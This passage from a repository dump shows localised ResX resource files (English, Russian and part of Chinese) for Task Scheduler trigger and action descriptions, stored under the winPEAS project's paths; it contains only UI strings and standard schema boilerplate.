msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"ActionTypeComHandler\" xml:space=\"preserve\">\n    <value>Call a COM object</value>\n  </data>\n  <data name=\"ActionTypeExecute\" xml:space=\"preserve\">\n    <value>Start a program</value>\n  </data>\n  <data name=\"ActionTypeSendEmail\" xml:space=\"preserve\">\n    <value>Send an e-mail</value>\n  </data>\n  <data name=\"ActionTypeShowMessage\" xml:space=\"preserve\">\n    <value>Display a message</value>\n  </data>\n  <data name=\"ComHandlerAction\" xml:space=\"preserve\">\n    <value>{3} {0:P}</value>\n    <comment>0 = Class GUID; 1 = Data; 2 = Id; 3 = Name</comment>\n  </data>\n  <data name=\"DOWAllDays\" xml:space=\"preserve\">\n    <value>every day</value>\n  </data>\n  <data name=\"EmailAction\" xml:space=\"preserve\">\n    <value>{1} {0}</value>\n    <comment>0 = Subject; 1 = To; 2 = Cc, 3 = Bcc, 4 = From, 5 = ReplyTo, 6 = Body, 7 = Server, 8 = Id</comment>\n  </data>\n  <data name=\"EndSentence\" xml:space=\"preserve\">\n    <value>.</value>\n  </data>\n  <data name=\"ExecAction\" xml:space=\"preserve\">\n    <value>{0} {1}</value>\n    <comment>0 = Executable Path; 1 = Arguments; 2 = WorkingDirectory; 3 = Id</comment>\n  </data>\n  <data name=\"HyphenSeparator\" xml:space=\"preserve\">\n    <value>-</value>\n  </data>\n  <data name=\"ListSeparator\" xml:space=\"preserve\">\n    <value>,</value>\n  </data>\n  <data name=\"MOYAllMonths\" xml:space=\"preserve\">\n    <value>every month</value>\n  </data>\n  <data name=\"MultipleActions\" xml:space=\"preserve\">\n    <value>Multiple actions defined</value>\n  </data>\n  <data name=\"MultipleTriggers\" xml:space=\"preserve\">\n    <value>Multiple triggers defined</value>\n  </data>\n  <data name=\"ShowMessageAction\" xml:space=\"preserve\">\n    <value>{0}</value>\n    <comment>0 = Title; 1 = MessageBody; 2 = Id</comment>\n  </data>\n  <data name=\"TaskDefaultPrincipal\" xml:space=\"preserve\">\n    <value>Author</value>\n  </data>\n  <data name=\"TaskStateDisabled\" xml:space=\"preserve\">\n    <value>Disabled</value>\n  </data>\n  <data name=\"TaskStateQueued\" xml:space=\"preserve\">\n    <value>Queued</value>\n  </data>\n  <data name=\"TaskStateReady\" xml:space=\"preserve\">\n    <value>Ready</value>\n  </data>\n  <data name=\"TaskStateRunning\" xml:space=\"preserve\">\n    <value>Running</value>\n  </data>\n  <data name=\"TaskStateUnknown\" xml:space=\"preserve\">\n    <value>Unknown</value>\n  </data>\n  <data name=\"TriggerAnyUser\" xml:space=\"preserve\">\n    <value>any user</value>\n  </data>\n  <data name=\"TriggerBoot1\" xml:space=\"preserve\">\n    <value>At system startup</value>\n  </data>\n  <data name=\"TriggerCustom1\" xml:space=\"preserve\">\n    <value>Custom Trigger</value>\n  </data>\n  <data name=\"TriggerDaily1\" xml:space=\"preserve\">\n    <value>At {0:t} every day</value>\n  </data>\n  <data name=\"TriggerDaily2\" xml:space=\"preserve\">\n    <value>At {0:t} every {1} days</value>\n  </data>\n  <data name=\"TriggerDuration0\" xml:space=\"preserve\">\n    <value>indefinitely</value>\n  </data>\n  <data name=\"TriggerDurationNot0\" xml:space=\"preserve\">\n    <value>for a duration of {0}</value>\n    <comment>0 = Duration</comment>\n  </data>\n  <data name=\"TriggerDurationNot0Short\" xml:space=\"preserve\">\n    <value>for {0}</value>\n    <comment>0 = Duration</comment>\n  </data>\n  <data name=\"TriggerEndBoundary\" xml:space=\"preserve\">\n    <value>Trigger expires at {0:G}.</value>\n    <comment>0 = EndBoundary</comment>\n  </data>\n  <data name=\"TriggerEvent1\" xml:space=\"preserve\">\n    <value>Custom event filter</value>\n  </data>\n  <data name=\"TriggerEventBasic1\" xml:space=\"preserve\">\n    <value>On event - Log: {0}</value>\n    <comment>0 = Log name</comment>\n  </data>\n  <data name=\"TriggerEventBasic2\" xml:space=\"preserve\">\n    <value>, Source: {0}</value>\n    <comment>0 = Source name (appended after log)</comment>\n  </data>\n  <data name=\"TriggerEventBasic3\" xml:space=\"preserve\">\n    <value>, EventID: {0}</value>\n    <comment>0 = Event ID (appended after log or source)</comment>\n  </data>\n  <data name=\"TriggerIdle1\" xml:space=\"preserve\">\n    <value>When computer is idle</value>\n  </data>\n  <data name=\"TriggerLogon1\" xml:space=\"preserve\">\n    <value>At log on of {0}</value>\n  </data>\n  <data name=\"TriggerMonthly1\" xml:space=\"preserve\">\n    <value>At {0:t} on day {1} of {2}, starting {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of Days; 2 = list of Months</comment>\n  </data>\n  <data name=\"TriggerMonthlyDOW1\" xml:space=\"preserve\">\n    <value>At {0:t} on {1} {2:f} each {3}, starting {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of weeks of Month; 2 = list of Week Days; 3 = list of Months</comment>\n  </data>\n  <data name=\"TriggerRegistration1\" xml:space=\"preserve\">\n    <value>When the task is created or modified</value>\n  </data>\n  <data name=\"TriggerRepetition\" xml:space=\"preserve\">\n    <value>After triggered, repeat every {0} {1}.</value>\n    <comment>0 = Interval; 1= Duration string</comment>\n  </data>\n  <data name=\"TriggerRepetitionShort\" xml:space=\"preserve\">\n    <value>Every {0} {1}.</value>\n    <comment>0 = Interval; 1= Duration string</comment>\n  </data>\n  <data name=\"TriggerSessionConsoleConnect\" xml:space=\"preserve\">\n    <value>On local connection to {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionConsoleDisconnect\" xml:space=\"preserve\">\n    <value>On local disconnect from {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionRemoteConnect\" xml:space=\"preserve\">\n    <value>On remote connection to {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionRemoteDisconnect\" xml:space=\"preserve\">\n    <value>On remote disconnect from {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionSessionLock\" xml:space=\"preserve\">\n    <value>On workstation lock of {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionSessionUnlock\" xml:space=\"preserve\">\n    <value>On workstation unlock of {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionUserSession\" xml:space=\"preserve\">\n    <value>user session of {0}</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerTime1\" xml:space=\"preserve\">\n    <value>At {0:t} on {0:d}</value>\n    <comment>0 = StartBoundary</comment>\n  </data>\n  <data name=\"TriggerTypeBoot\" xml:space=\"preserve\">\n    <value>At startup</value>\n  </data>\n  <data name=\"TriggerTypeCustom\" xml:space=\"preserve\">\n    <value>Custom Trigger</value>\n  </data>\n  <data name=\"TriggerTypeDaily\" xml:space=\"preserve\">\n    <value>Daily</value>\n  </data>\n  <data name=\"TriggerTypeEvent\" xml:space=\"preserve\">\n    <value>On an event</value>\n  </data>\n  <data name=\"TriggerTypeIdle\" xml:space=\"preserve\">\n    <value>On idle</value>\n  </data>\n  <data name=\"TriggerTypeLogon\" xml:space=\"preserve\">\n    <value>At log on</value>\n  </data>\n  <data name=\"TriggerTypeMonthly\" xml:space=\"preserve\">\n    <value>Monthly</value>\n  </data>\n  <data name=\"TriggerTypeMonthlyDOW\" xml:space=\"preserve\">\n    <value>Monthly</value>\n  </data>\n  <data name=\"TriggerTypeRegistration\" xml:space=\"preserve\">\n    <value>At task creation/modification</value>\n  </data>\n  <data name=\"TriggerTypeSessionStateChange\" xml:space=\"preserve\">\n    <value>On state change</value>\n  </data>\n  <data name=\"TriggerTypeTime\" xml:space=\"preserve\">\n    <value>One time</value>\n  </data>\n  <data name=\"TriggerTypeWeekly\" xml:space=\"preserve\">\n    <value>Weekly</value>\n  </data>\n  <data name=\"TriggerWeekly1Week\" xml:space=\"preserve\">\n    <value>At {0:t} every {1} of every week, starting {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of Week Days</comment>\n  </data>\n  <data name=\"TriggerWeeklyMultWeeks\" xml:space=\"preserve\">\n    <value>At {0:t} every {1} of every {2} weeks, starting {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of Week Days; 2 = WeekInterval</comment>\n  </data>\n  <data name=\"WWAllWeeks\" xml:space=\"preserve\">\n    <value>every</value>\n  </data>\n  <data name=\"WWFifthWeek\" xml:space=\"preserve\">\n    <value>fifth</value>\n  </data>\n  <data name=\"WWFirstWeek\" xml:space=\"preserve\">\n    <value>first</value>\n  </data>\n  <data name=\"WWFourthWeek\" xml:space=\"preserve\">\n    <value>fourth</value>\n  </data>\n  <data name=\"WWLastWeek\" xml:space=\"preserve\">\n    <value>last</value>\n  </data>\n  <data name=\"WWSecondWeek\" xml:space=\"preserve\">\n    <value>second</value>\n  </data>\n  <data name=\"WWThirdWeek\" xml:space=\"preserve\">\n    <value>third</value>\n  </data>\n  <data name=\"Error_TriggerEndBeforeStart\" xml:space=\"preserve\">\n    <value>The date and time a trigger expires must be later than the time time it starts or is activated.</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.ru.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"ActionTypeComHandler\" xml:space=\"preserve\">\n    <value>Вызов COM-объекта</value>\n  </data>\n  <data name=\"ActionTypeExecute\" xml:space=\"preserve\">\n    <value>Запуск программы</value>\n  </data>\n  <data name=\"ActionTypeSendEmail\" xml:space=\"preserve\">\n    <value>Отправить сообщение</value>\n  </data>\n  <data name=\"ActionTypeShowMessage\" xml:space=\"preserve\">\n    <value>Вывод сообщения</value>\n  </data>\n  <data name=\"ComHandlerAction\" xml:space=\"preserve\">\n    <value>{3} {0:P}</value>\n  </data>\n  <data name=\"DOWAllDays\" xml:space=\"preserve\">\n    <value>каждый день</value>\n  </data>\n  <data name=\"EmailAction\" xml:space=\"preserve\">\n    <value>{1} {0}</value>\n  </data>\n  <data name=\"EndSentence\" xml:space=\"preserve\">\n    <value>.</value>\n  </data>\n  <data name=\"ExecAction\" xml:space=\"preserve\">\n    <value>{0} {1}</value>\n  </data>\n  <data name=\"HyphenSeparator\" xml:space=\"preserve\">\n    <value>-</value>\n  </data>\n  <data name=\"ListSeparator\" xml:space=\"preserve\">\n    <value>,</value>\n  </data>\n  <data name=\"MOYAllMonths\" xml:space=\"preserve\">\n    <value>каждый месяц</value>\n  </data>\n  <data name=\"MultipleActions\" xml:space=\"preserve\">\n    <value>Определено несколько действий</value>\n  </data>\n  <data name=\"MultipleTriggers\" xml:space=\"preserve\">\n    <value>Определено несколько триггеров</value>\n  </data>\n  <data name=\"ShowMessageAction\" xml:space=\"preserve\">\n    <value>{0}</value>\n  </data>\n  <data name=\"TaskDefaultPrincipal\" xml:space=\"preserve\">\n    <value>Создатель</value>\n  </data>\n  <data name=\"TaskStateQueued\" xml:space=\"preserve\">\n    <value>В очереди</value>\n  </data>\n  <data name=\"TaskStateReady\" xml:space=\"preserve\">\n    <value>Готово</value>\n  </data>\n  <data name=\"TaskStateRunning\" xml:space=\"preserve\">\n    <value>Выполняется</value>\n  </data>\n  <data name=\"TaskStateUnknown\" xml:space=\"preserve\">\n    <value>Неизвестно</value>\n  </data>\n  <data name=\"TriggerAnyUser\" xml:space=\"preserve\">\n    <value>Пользователь</value>\n  </data>\n  <data name=\"TriggerBoot1\" xml:space=\"preserve\">\n    <value>При запуске системы</value>\n  </data>\n  <data name=\"TriggerCustom1\" xml:space=\"preserve\">\n    <value>Пользовательский триггер</value>\n  </data>\n  <data name=\"TriggerDaily1\" xml:space=\"preserve\">\n    <value>В {0:t} каждый день</value>\n  </data>\n  <data name=\"TriggerDaily2\" xml:space=\"preserve\">\n    <value>В {0:t} каждые {1} дн.</value>\n  </data>\n  <data name=\"TriggerDuration0\" xml:space=\"preserve\">\n    <value>без окончания</value>\n  </data>\n  <data name=\"TriggerDurationNot0\" xml:space=\"preserve\">\n    <value>в течение {0}</value>\n  </data>\n  <data name=\"TriggerDurationNot0Short\" xml:space=\"preserve\">\n    <value>на {0}</value>\n  </data>\n  <data name=\"TriggerEndBoundary\" xml:space=\"preserve\">\n    <value>Срок истечения действия триггера:  {0:G}.</value>\n  </data>\n  <data name=\"TriggerEvent1\" xml:space=\"preserve\">\n    <value>Настраиваемое</value>\n  </data>\n  <data name=\"TriggerEventBasic1\" xml:space=\"preserve\">\n    <value>При событии - журнал: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic2\" xml:space=\"preserve\">\n    <value>, Источник: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic3\" xml:space=\"preserve\">\n    <value>, EventID: {0}</value>\n  </data>\n  <data name=\"TriggerIdle1\" xml:space=\"preserve\">\n    <value>При бездействии компьютера</value>\n  </data>\n  <data name=\"TriggerLogon1\" xml:space=\"preserve\">\n    <value>При входе {0}</value>\n  </data>\n  <data name=\"TriggerMonthly1\" xml:space=\"preserve\">\n    <value>В {0:t} в {1} день месяца {2}, начиная с {0:d} </value>\n  </data>\n  <data name=\"TriggerMonthlyDOW1\" xml:space=\"preserve\">\n    <value>В {0:t} по {1} {2:f} каждую {3}, начиная c {0:d} </value>\n  </data>\n  <data name=\"TriggerRegistration1\" xml:space=\"preserve\">\n    <value>При создании или изменении задачи</value>\n  </data>\n  <data name=\"TriggerRepetition\" xml:space=\"preserve\">\n    <value>После срабатывания, повторять каждые {0} {1}.</value>\n  </data>\n  <data name=\"TriggerRepetitionShort\" xml:space=\"preserve\">\n    <value>Каждые {0} {1}.</value>\n  </data>\n  <data name=\"TriggerSessionConsoleConnect\" xml:space=\"preserve\">\n    <value>При локальном подключении к {0}.</value>\n  </data>\n  <data name=\"TriggerSessionConsoleDisconnect\" xml:space=\"preserve\">\n    <value>При локальном отключении от {0}.</value>\n  </data>\n  <data name=\"TriggerSessionRemoteConnect\" xml:space=\"preserve\">\n    <value>При удаленном подключении к {0}.</value>\n  </data>\n  <data name=\"TriggerSessionRemoteDisconnect\" xml:space=\"preserve\">\n    <value>При удаленном отключении от  {0}.</value>\n  </data>\n  <data name=\"TriggerSessionSessionLock\" xml:space=\"preserve\">\n    <value>При блокировке рабочей станции {0}.</value>\n  </data>\n  <data name=\"TriggerSessionSessionUnlock\" xml:space=\"preserve\">\n    <value>При разблокировке рабочей станции {0}.</value>\n  </data>\n  <data name=\"TriggerSessionUserSession\" xml:space=\"preserve\">\n    <value>Сеанс пользователя {0}</value>\n  </data>\n  <data name=\"TriggerTime1\" xml:space=\"preserve\">\n    <value>В {0:t} на {0:d}</value>\n  </data>\n  <data name=\"TriggerTypeBoot\" xml:space=\"preserve\">\n    <value>При запуске</value>\n  </data>\n  <data name=\"TriggerTypeCustom\" xml:space=\"preserve\">\n    <value>Пользовательский триггер</value>\n  </data>\n  <data name=\"TriggerTypeDaily\" xml:space=\"preserve\">\n    <value>Ежедневно</value>\n  </data>\n  <data name=\"TriggerTypeEvent\" xml:space=\"preserve\">\n    <value>При событии</value>\n  </data>\n  <data name=\"TriggerTypeIdle\" xml:space=\"preserve\">\n    <value>При простое</value>\n  </data>\n  <data name=\"TriggerTypeLogon\" xml:space=\"preserve\">\n    <value>При входе в систему</value>\n  </data>\n  <data name=\"TriggerTypeMonthly\" xml:space=\"preserve\">\n    <value>Ежемесячно</value>\n  </data>\n  <data name=\"TriggerTypeMonthlyDOW\" xml:space=\"preserve\">\n    <value>Ежемесячно</value>\n  </data>\n  <data name=\"TriggerTypeRegistration\" xml:space=\"preserve\">\n    <value>При создании или изменении задачи</value>\n  </data>\n  <data name=\"TriggerTypeSessionStateChange\" xml:space=\"preserve\">\n    <value>При изменении состояния</value>\n  </data>\n  <data name=\"TriggerTypeTime\" xml:space=\"preserve\">\n    <value>Однократно</value>\n  </data>\n  <data name=\"TriggerTypeWeekly\" xml:space=\"preserve\">\n    <value>Еженедельно</value>\n  </data>\n  <data name=\"TriggerWeekly1Week\" xml:space=\"preserve\">\n    <value>В {0:t} по {1} еженедельно, начиная с {0:d}</value>\n  </data>\n  <data name=\"TriggerWeeklyMultWeeks\" xml:space=\"preserve\">\n    <value>В {0:t} по {1} каждую {2} неделю, начиная с {0:d}</value>\n  </data>\n  <data name=\"WWAllWeeks\" xml:space=\"preserve\">\n    <value>каждую</value>\n  </data>\n  <data name=\"WWFifthWeek\" xml:space=\"preserve\">\n    <value>5-ю</value>\n  </data>\n  <data name=\"WWFirstWeek\" xml:space=\"preserve\">\n    <value>1-ю</value>\n  </data>\n  <data name=\"WWFourthWeek\" xml:space=\"preserve\">\n    <value>4-ю</value>\n  </data>\n  <data name=\"WWLastWeek\" xml:space=\"preserve\">\n    <value>последнюю</value>\n  </data>\n  <data name=\"WWSecondWeek\" xml:space=\"preserve\">\n    <value>2-ю</value>\n  </data>\n  <data name=\"WWThirdWeek\" xml:space=\"preserve\">\n    <value>3-ю</value>\n  </data>\n  <data name=\"TaskStateDisabled\" xml:space=\"preserve\">\n    <value>Отключено</value>\n  </data>\n  <data name=\"Error_TriggerEndBeforeStart\" xml:space=\"preserve\">\n    <value>Дата и время окончания триггера должны быть позже времени, когда он запускается или активируется.</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.zh-CN.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"ActionTypeComHandler\" xml:space=\"preserve\">\n    <value>调用COM对象</value>\n  </data>\n  <data name=\"ActionTypeExecute\" xml:space=\"preserve\">\n    <value>启动程序</value>\n  </data>\n  <data name=\"ActionTypeSendEmail\" xml:space=\"preserve\">\n    <value>发送电子邮件</value>\n  </data>\n  <data name=\"ActionTypeShowMessage\" xml:space=\"preserve\">\n    <value>显示一条消息</value>\n  </data>\n  <data name=\"ComHandlerAction\" xml:space=\"preserve\">\n    <value>{3} {0:P}</value>\n  </data>\n  <data name=\"DOWAllDays\" xml:space=\"preserve\">\n    <value>每天</value>\n  </data>\n  <data name=\"EmailAction\" xml:space=\"preserve\">\n    <value>{1} {0}</value>\n  </data>\n  <data name=\"EndSentence\" xml:space=\"preserve\">\n    <value>.</value>\n  </data>\n  <data name=\"ExecAction\" xml:space=\"preserve\">\n    <value>{0} {1}</value>\n  </data>\n  <data name=\"HyphenSeparator\" xml:space=\"preserve\">\n    <value>-</value>\n  </data>\n  <data name=\"ListSeparator\" xml:space=\"preserve\">\n    <value>,</value>\n  </data>\n  <data name=\"MOYAllMonths\" 